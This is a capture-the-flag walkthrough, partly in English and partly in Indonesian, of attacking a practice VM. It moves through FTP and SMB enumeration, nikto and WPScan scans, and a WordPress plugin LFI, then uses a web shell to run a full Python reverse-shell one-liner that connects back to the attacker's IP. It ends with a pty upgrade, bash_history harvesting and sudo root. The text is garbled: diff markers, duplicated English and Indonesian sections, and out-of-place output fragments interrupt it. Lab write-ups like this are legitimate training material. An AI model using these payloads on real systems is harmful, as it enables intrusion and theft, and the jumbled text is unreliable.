We can see that after looking though the FTP server, we come across a file called note. What I did is call the get command to download the file back to our host. From out host, we can open the file and see what it contains.

As  we can see, there are 2 active shares - kathy, and tmp. The thing that really caught my attention was the comment - Fred, What are we doing here?. This led me to believe that Fred had access to kathy’s share. So what I attempted to do was to connect to kathy’s share, using the networked user/computer fred.

From the to-do-list we have another name, and from LS it seems we have a directory listing of a time synchronization daemon… for now I will skip this as nothing showed up in the Samba Enumeration, and the information is rather useless.
 
  
−
Okay - so we already enumerated a few of the file daemons, and connection based daemons. We will move on and try to access the Apache web server this time. We can navigate to 192.168.1.13:12380 to access the Apache Web Server. Once done, we will be presented with the following.
+
     
 +
==Nikto 12380==
  
 +
Cek web
  
 +
nikto -h 192.168.0.61:12380
  
−
My first choice was to look at the websites source code to see if there aren’t any clues left… unfortunately there wasn’t. So I decided to fire up and run a nikto scan on the web server to check for any vulnerabilities and possible misconfigurations.

Interestingly enough, I got presented with 4 directories: /phpmyadin/, /blogblog/, /admin112233/, and of course /robots.txt.
 
  
−
My initial attempts to try and navigate to the directories were futile, as the page kept going back to the home page. So I decided to add https:// before the IP and try again. I attempted to access /robots.txt first, so I entered the following url https://192.168.1.13:12380/robots.txt in my browser, and behold - I got the robots.txt page!

Damnit! Okay, some humor is always great - but this nearly gave me a heart attack…. So what did we learn today? DISABLE JAVA!

Once I got over the fact that I could have been hooked, I attempted to navigate the /blogblog/ page.

The blog really didn’t contain much information for us - except a few names - as well as the name of the poster (great for future enumeration or brute forcing tactics - if we go that route). I also saw that the page contained a “login” section. Navigating to the login took me to a WordPress login page… so instead of logging in, I decided to run a WPScan and see if I can’t enumerate any users, plugins, and vulnerabilities.

This is great! Not only did we find a ton of users (which seem to correlate to the names we found earlier) but we also found a few XSS Vulnerabilities, a Path Traversal Vulnerability and a few plugins that we can use to research for possible vulnerable entry points.
 
  
−
After doing some research, I found out that the advanced-video-embed-embed-videos-or-playlists was vulnerable to a LFI Exploit. Which can be found here!

We trust you have received the usual lecture from the local System
 +
Administrator. It usually boils down to these three things:
 +
 +
    #1) Respect the privacy of others.
 +
    #2) Think before you type.
 +
    #3) With great power comes great responsibility.
 +
 +
[sudo] password for peter:

Matching Defaults entries for peter on red:

 +

 +
User peter may run the following commands on red:

Upon downloading the exploit, and running it, I was presented with an SSL error… So I went ahead and edited the code to include the following
+
==Capture the Flag==
  
−
import ssl
+
red% sudo usermod -s /bin/bash peter
−
ssl._create_default_https_context = ssl._create_unverified_context
+
red% sudo -i
−
Once it ran successfully - I navigated to https://192.168.1.13:12380/blogblog/wp-content/uploads/ and was presented with a .jpeg file.

| + Average beginner/intermediate VM, only a few twists   |
|   + May find it easy/hard (depends on YOUR background)  |
|   + ...also which way you attack the box                |
|                                                         |
| + It SHOULD work on both VMware and Virtualbox          |
|   + REBOOT the VM if you CHANGE network modes           |
|   + Fusion users, you'll need to retry when importing   |
|                                                         |
| + There are multiple methods to-do this machine         |
|   + At least two (2) paths to get a limited shell       |
|   + At least three (3) ways to get a root access        |
|                                                         |

Salah satu yang menarik disini adalah FTP, dengan anonymous FTP login.

Anonymous FTP

Coba login anonymous ftp (username anonymous password bebas merdeka)

Buka note 

cat note

Isinya, 

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

Tidak ada yang terlalu menarik,tapi ada dua (2) nama :) ... mungkin bisa membantu nanti jika kita butuh bruteforce.

Coba SSH root

Coba akses. 

ssh root@192.168.0.61

Hasilnya gagal,

Tapi kita dapat satu nama lagi :) ..

Coba SMB

Coba, 

smbclient -L 192.168.0.61

Password for [WORKGROUP\root]:

Coba isi password dengan root. Untung2-an berhasil :) .. Hasilnya kira-kira 

        Sharename       Type      Comment

Tampaknya ada 2 active share - kathy dan tmp. Yang menarik ada komentar - Fred, What are we doing here? Tampaknya Fred bisa mengakses kathy share. Mari kita akses kathy share menggunakan networked user/computer fred. 

smbclient //fred/kathy -I 192.168.0.61 -N

Coba check ls 

Try "help" to get a list of possible commands.
smb: \> ls

smb: \> cd kathy_stuff\

Setelah kita selesai dengan kathy share, kita bisa lakukan hal yang sama untuk tmp share, 

smbclient //fred/tmp -I 192.168.0.61 -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jun  7 04:08:39 2016

                19478204 blocks of size 1024. 16397096 blocks available
smb: \> quit

Tampaknya tidak ada yang menarik, paling tidak kita dapat file konfigurasi FTP, dan to-do-list.

Coba kita lihat, 

cat todo-list.txt

isinya, 

I'm making sure to backup anything important for Initech, Kathy

Coba kita lihat, 

cat ls

isinya,

Akses Web

https://192.168.0.61:12380/robots.txt

Tampak isinya, 

User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/

Mari kita coba 

https://192.168.0.61:12380/admin112233/

Akan mengeluarkan "humor" 

This could of been a BeEF-XSS hook ;)

Mari kita coba 

https://192.168.0.61:12380/blogblog/

Tampak berisi blog, tidak ada yang terlalu menarik kecuali ada beberapa nama. Dan yang menarik ada login page.

WPScan

Scan menggunakan, 

wpscan --url https://192.168.0.61:12380/blogblog/ -e u --disable-tls-checks

Terlihat ada shell.php. Sekarang akses URL berikut untuk mencek apakah shell.php bisa dipakai:) ..

Inti-nya shell.php bisa di pakai :) ..


Akses Shell via Web

Cek IP address & catat kali linux 

ifconfig

Misalnya IP address kali linux 192.168.0.62 Siapkan di kali linux, 

nc -lvp 443

Lewat browser jalankan URL (asumsi IP address kali linux 

https://192.168.0.61:12380/blogblog/wp-content/uploads/shell.php?cmd=python%20-c%20'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.62",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Jika berjalan dengan baik akan tampak

Gunakan python untuk mengaktifkan bash 

$ python -c 'import pty;pty.spawn("/bin/bash")'

cd /
www-data@red:/$ ls

dev   initrd.img.old  media       proc  sbin  sys   var
www-data@red:/$ cd home
cd home

Lihat bash_history menggunakan 

www-data@red:/home$ find -name ".bash_history" -exec cat {} \;
find -name ".bash_history" -exec cat {} \;
